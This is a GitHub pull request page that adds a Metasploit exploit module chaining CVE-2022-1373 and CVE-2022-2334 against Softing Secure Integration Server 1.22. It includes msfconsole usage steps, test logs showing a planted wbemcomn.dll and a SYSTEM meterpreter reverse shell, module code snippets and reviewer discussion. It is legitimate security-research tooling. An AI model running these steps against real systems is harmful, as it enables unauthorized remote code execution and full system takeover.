New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Add CVE-2022-1373 and CVE-2022-2334 exploit chain #19084

Open

ide0x90 wants to merge 6 commits into rapid7:master from ide0x90:softing-sis-rce

Contributor

ide0x90 commented Apr 13, 2024 •

edited

This PR adds a module and related materials for CVE-2022-1373 and CVE-2022-2334 exploit chain against Softing Secure Integration Server 1.22 that was used during Pwn2Own 2022 Miami. This is dependent on #19075.

Verification

List the steps needed to make sure this thing works

Start msfconsole
Do: use exploit/windows/http/softing_sis_rce
Do: set RHOSTS <target_ip>
Do: Optional: set SSL true if necessary
Do: Optional: set RPORT <target_port> if SSL is set
Do: set USERNAME <username> if necessary. Default is admin
Do: set PASSWORD <password> if necessary. Default is admin
Do: Optional: set SIGNATURE <signature> to use signature authentication. PASSWORD will be ignored if SIGNATURE is set!
Do: Optional: set DLLPATH <path_to_custom_dll> to use a custom DLL. It is assumed that the DLL is correctly compiled by the operator for the exploit.
Do: exploit and get a shell
Do: Recommended: delete C:\\Windows\\System32\\wbem\\wbemcomn.dll

Vulnerable Software

Softing Secure Integration Server 1.22

This version is no longer available for download on the vendor's page, but I have a copy of the installer that I can provide.

Test Environment

Widnows Server 2019 Standard x64.

Test run

msf6 > use exploit/windows/http/softing_sis_rce
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/softing_sis_rce) > set RHOSTS 192.168.50.119
RHOSTS => 192.168.50.119
msf6 exploit(windows/http/softing_sis_rce) > exploit

[*] Started reverse TCP handler on 192.168.50.254:4444
[*] 192.168.50.119:8099 - Found Softing Secure Integration Server 1.22.0.8686
[+] 192.168.50.119:8099 - Valid credentials provided
[*] Generating payload DLL...
[*] Created /home/kali/.msf4/local/wbemcomn.dll
[*] Saving configuration...
[*] Saved configuration to /home/kali/.msf4/local/config_download_5fd1e0fd8cd04a22f38eb8db14df68ff.zip
[*] Sending stage (201798 bytes) to 192.168.50.119
[!] Deleting: C:\Windows\System32\wbem\wbemcomn.dll
[-] Unable to delete - stdapi_fs_delete_file: Operation failed: Access is denied.
[*] Meterpreter session 1 opened (192.168.50.254:4444 -> 192.168.50.119:50525) at 2024-04-11 19:52:35 +0800
[!] This exploit may require manual cleanup of 'C:\Windows\System32\wbem\wbemcomn.dll' on the target

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

TODO

Figure out why cleanup doesn't work. Manually deleting the planted DLL works, deleting it from within the opened session works, but deleting it with session.fs.file.rm doesn't.

ide0x90 added 4 commits

April 13, 2024 18:10


          Add CVE-2022-1373 and CVE-2022-2334 exploit chain


          Update references and documentation

50a303a


          Fix linting

c8b9b32


          Really make RuboCop happy

27e46fe

sjanusz-r7 reviewed

View reviewed changes

modules/exploits/windows/http/softing_sis_rce.rb

+                        'WfsDelay' => 300
+                      },
+                      'Platform' => 'win',
+                      # the software itself only supports x64, see

Contributor

sjanusz-r7 Apr 18, 2024

If the software only supports x64, is there a reason why we also provide an x86 DLL since this is a DLL hijack attack?

Contributor Author

ide0x90 Apr 19, 2024

No, I suppose there's no reason to have a x86 DLL - removed in afd4b8a

modules/exploits/windows/http/softing_sis_rce.rb Outdated

+                def exploit
+                  # in this case, if it appears vulnerable, it should be enough to continue the exploit
+                  unless [CheckCode::Appears].include? check

Contributor

sjanusz-r7 Apr 18, 2024

We wouldn't have to call this if we add auto-check 👍

Contributor Author

ide0x90 Apr 19, 2024

Added in afd4b8a

modules/exploits/windows/http/softing_sis_rce.rb Outdated

+                  else
+                    # have MSF create the malicious DLL
+                    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-2334')
+                    arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']

Contributor

sjanusz-r7 Apr 18, 2024

Since the target is always x64, we can only select the x64 DLL. I think we can remove these lines, and define the target DLL as template_x64_windows.dll

Contributor Author

ide0x90 Apr 19, 2024

Yep, changed in afd4b8a

modules/exploits/windows/http/softing_sis_rce.rb

+                end
+                # clean up the planted DLL if the session is meterpreter
+                def on_new_session(session)

Contributor

sjanusz-r7 Apr 18, 2024

We need to call super in this method

Contributor Author

ide0x90 Apr 19, 2024

Added in afd4b8a

modules/exploits/windows/http/softing_sis_rce.rb Outdated

+                  end
+                  # load stdapi
+                  session.core.use('stdapi') if !session.ext.aliases.include?('stdapi')

Contributor

sjanusz-r7 Apr 18, 2024

The file cleanup functionality can be pulled in with the FileDropper mixin 👍

Contributor Author

ide0x90 Apr 19, 2024

I've tried something in 8d6a206 - let me know if that looks OK!

modules/exploits/windows/http/softing_sis_rce.rb

+                include Msf::Exploit::EXE
+                include Msf::Exploit::FileDropper
+                include Msf::Exploit::Remote::HttpClient

Contributor

sjanusz-r7 Apr 18, 2024

Suggested change

      
              prepend Msf::Exploit::Remote::AutoCheck

Contributor Author

ide0x90 Apr 19, 2024

Good stuff! Added in afd4b8a

external/source/exploits/CVE-2022-2334/template.c Outdated

Contributor

sjanusz-r7 Apr 18, 2024

If we remove these payload files, we could potentially get an Administrator session from the Framework payload and one of the getsystem techniques would work to elevate to NT AUTHORITY/SYSTEM, and leaving us with less .c files to maintain. The current approach seems like technique 3: https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/windows/escalate/getsystem.md#3---token-duplication

Contributor Author

ide0x90 Apr 19, 2024 •

edited

I initially wanted to use Metasploit's C compiler like what was done for https://github.com/rapid7/metasploit-framework/blob/397781f2b1a51b9d8766918f9f7e6ab613f4b8b5/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb, or even just generate a "normal" DLL, but both ways of generating DLLs don't work for this exploit - for the Metasploit C compiler method the DLL needs to be compiled with the .def file, for the "normal" DLL created with msfvenom shells don't spawn, and if compiled with the .def file it spawns 18 shells of questionable stability on every exploit attempt.

I figured mutexes and some migration code would be a good idea and all that was already done before in the code for CVE-2017-8464 anyway, so I just reused that code. I'm sure the .c file could be a lot leaner in this case though (we only want to run shellcode and then migrate it to a more stable process).

bwatters-r7 self-assigned this

Contributor

bwatters-r7 commented Apr 18, 2024

@ide0x90 what's the best way to get the installer from you?

ide0x90 added 2 commits

April 19, 2024 22:49


          Remove x86 things, include AutoCheck

afd4b8a


          Attempt to improve file cleanup functionality

8d6a206

Contributor Author

ide0x90 commented Apr 19, 2024 •

edited

@ide0x90 what's the best way to get the installer from you?

I can share the installer over Google Drive, if that's OK?

Contributor

bwatters-r7 commented Apr 19, 2024

@ide0x90 what's the best way to get the installer from you?

I can share the installer over Google Drive, if that's OK?

Yes, please send the link to msfdev@metasploit.com

Contributor Author

ide0x90 commented Apr 22, 2024

@ide0x90 what's the best way to get the installer from you?

I can share the installer over Google Drive, if that's OK?

Yes, please send the link to msfdev@metasploit.com

Shared the installer

Contributor

bwatters-r7 commented Apr 22, 2024

@ide0x90 what's the best way to get the installer from you?

I can share the installer over Google Drive, if that's OK?

Yes, please send the link to msfdev@metasploit.com

Shared the installer

Got it; thanks!

Contributor

bwatters-r7 commented Apr 22, 2024 •

edited

Hi there; I've hit a few snags, but I think I have it mostly working- the only catch is that I get an error message when it tries to restore the configuration, reporting Not available in current system state
Is there something I need to do to finish setting up the target?

msf6 exploit(windows/http/softing_sis_rce) > run

[*] Started reverse TCP handler on 10.5.135.201:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] 10.5.132.111:8099 - Found Softing Secure Integration Server 1.22.0.8686
[*] 16b85d3ea1537a32b0e4e86800fa074d
[+] 10.5.132.111:8099 - Valid credentials provided
[+] The target appears to be vulnerable.
[*] 10.5.132.111:8099 - Saving configuration...
[*] Saved configuration to /home/tmoose/.msf4/local/config_download_1036106ee02065ab4c967afd43893333.zip
[-] 10.5.132.111:8099 - {"Message"=>"Not available in current system state."}
[-] Exploit aborted due to failure: unexpected-reply: 10.5.132.111:8099 - Returned code 400, could not restore configuration!
[*] Exploit completed, but no session was created.
msf6 exploit(windows/http/softing_sis_rce) >

bwatters-r7 mentioned this pull request

Modularise the Softing login code #19075

Merged

Contributor Author

ide0x90 commented Apr 24, 2024

Darn, I forgot about that error - it's a tricky one that needs a workaround. I sent more stuff to msfdev@metasploit.com with additional info.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment